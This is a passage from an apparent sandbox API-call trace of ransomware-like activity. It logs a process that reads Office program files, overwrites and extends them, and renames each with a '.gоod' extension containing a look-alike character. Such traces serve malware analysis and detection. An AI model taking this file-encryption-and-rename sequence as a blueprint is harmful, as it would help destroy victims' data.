"c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x66ebeae2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0179.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0179.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINPROJ.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winproj.visualelementsmanifest.xml.gоod")) returned 1 [0179.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0179.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), fInfoLevelId=0x0, lpFileInformation=0x3524570 | out: lpFileInformation=0x3524570*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3aeff25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd52c882e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5c05a3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d74a0)) returned 1 [0179.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0179.021] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0179.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.021] GetFileType (hFile=0x81c) returned 0x1 [0179.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0179.021] GetFileType (hFile=0x81c) returned 0x1 [0179.021] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0179.021] ReadFile (in: hFile=0x81c, lpBuffer=0x3524948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3524948*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0179.022] CloseHandle (hObject=0x81c) returned 1 [0179.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0179.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.022] GetFileType (hFile=0x81c) returned 0x1 [0179.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0179.022] GetFileType (hFile=0x81c) returned 0x1 [0179.023] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1d74a0 [0179.023] WriteFile (in: hFile=0x81c, lpBuffer=0x3525bc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3525bc0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0179.023] CloseHandle (hObject=0x81c) returned 1 [0179.024] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0179.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.024] GetFileType (hFile=0x81c) returned 0x1 [0179.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0179.024] GetFileType (hFile=0x81c) returned 0x1 [0179.024] ReadFile (in: hFile=0x81c, lpBuffer=0x3527e60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3527e60*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0179.723] CloseHandle (hObject=0x81c) returned 1 [0179.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0179.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.724] GetFileType (hFile=0x81c) returned 0x1 [0179.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0179.724] GetFileType (hFile=0x81c) returned 0x1 [0179.724] WriteFile (in: hFile=0x81c, lpBuffer=0x34a94f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34a94f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0179.724] CloseHandle (hObject=0x81c) returned 1 [0179.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", lpFilePart=0x0) returned 0x3b [0179.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.gоod", lpFilePart=0x0) returned 0x40 [0179.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0179.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc3aeff25, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd52c882e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6757428a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d74b0)) returned 1 [0179.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0179.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe.gоod")) returned 1 [0179.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0179.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0179.725] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x38bcce8 | out: lpFileInformation=0x38bcce8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x239787c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x156)) returned 1 [0179.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0179.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0179.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0179.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0179.726] GetFileType (hFile=0x81c) returned 0x1 [0179.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0179.726] GetFileType (hFile=0x81c) returned 0x1 [0179.726] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x156 [0179.726] ReadFile (in: hFile=0x81c, lpBuffer=0x38bd168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x38bd168*, lpNumberOfBytesRead=0x1f59e768*=0x156, lpOverlapped=0x0) returned 1 [0179.727] CloseHandle (hObject=0x81c) returned 1 [0180.919] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0180.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0180.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0181.352] GetFileType (hFile=0x6e0) returned 0x1 [0181.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0181.352] GetFileType (hFile=0x6e0) returned 0x1 [0181.352] WriteFile (in: hFile=0x6e0, lpBuffer=0x35e1968*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x35e1968*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0181.385] CloseHandle (hObject=0x6e0) returned 1 [0181.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x52 [0181.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x57 [0181.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0181.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6852fba3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0181.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0181.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.visualelementsmanifest.xml.gоod")) returned 1 [0181.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0181.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0181.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), fInfoLevelId=0x0, lpFileInformation=0x3662ee0 | out: lpFileInformation=0x3662ee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a40)) returned 1 [0181.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0181.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0181.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0181.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0181.387] GetFileType (hFile=0x6e0) returned 0x1 [0181.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0181.387] GetFileType (hFile=0x6e0) returned 0x1 [0181.387] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0181.387] ReadFile (in: hFile=0x6e0, lpBuffer=0x36632d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x36632d8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0181.388] CloseHandle (hObject=0x6e0) returned 1 [0181.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0181.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0181.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0181.389] GetFileType (hFile=0x6e0) returned 0x1 [0181.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0181.389] GetFileType (hFile=0x6e0) returned 0x1 [0181.389] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x9a40 [0181.389] WriteFile (in: hFile=0x6e0, lpBuffer=0x3664560*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3664560*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0181.390] CloseHandle (hObject=0x6e0) returned 1 [0181.390] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0181.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0181.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0181.390] GetFileType (hFile=0x6e0) returned 0x1 [0181.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0181.390] GetFileType (hFile=0x6e0) returned 0x1 [0181.390] ReadFile (in: hFile=0x6e0, lpBuffer=0x3666a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3666a90*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0182.319] CloseHandle (hObject=0x6e0) returned 1 [0182.319] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0182.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0182.319] GetFileType (hFile=0x6e0) returned 0x1 [0182.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.319] GetFileType (hFile=0x6e0) returned 0x1 [0182.319] WriteFile (in: hFile=0x6e0, lpBuffer=0x34d3b60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34d3b60*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0182.358] CloseHandle (hObject=0x6e0) returned 1 [0182.392] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", lpFilePart=0x0) returned 0x3e [0182.419] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.gоod", lpFilePart=0x0) returned 0x43 [0182.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0182.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x68e930d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9a50)) returned 1 [0182.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0182.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv.gоod")) returned 1 [0182.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0182.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), fInfoLevelId=0x0, lpFileInformation=0x3723660 | out: lpFileInformation=0x3723660*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2d3c6cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8240)) returned 1 [0182.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0182.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.422] GetFileType (hFile=0x7c8) returned 0x1 [0182.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.423] GetFileType (hFile=0x7c8) returned 0x1 [0182.423] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0182.423] ReadFile (in: hFile=0x7c8, lpBuffer=0x3723b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3723b10*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0182.424] CloseHandle (hObject=0x7c8) returned 1 [0182.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe", lpFilePart=0x0) returned 0x3c [0182.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0182.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordconv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0182.424] GetFileType (hFile=0x7c8) returned 0x1 [0182.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0182.424] GetFileType (hFile=0x7c8) returned 0x1 [0182.425] SetFilePointer (in: hFile=0x7c8, 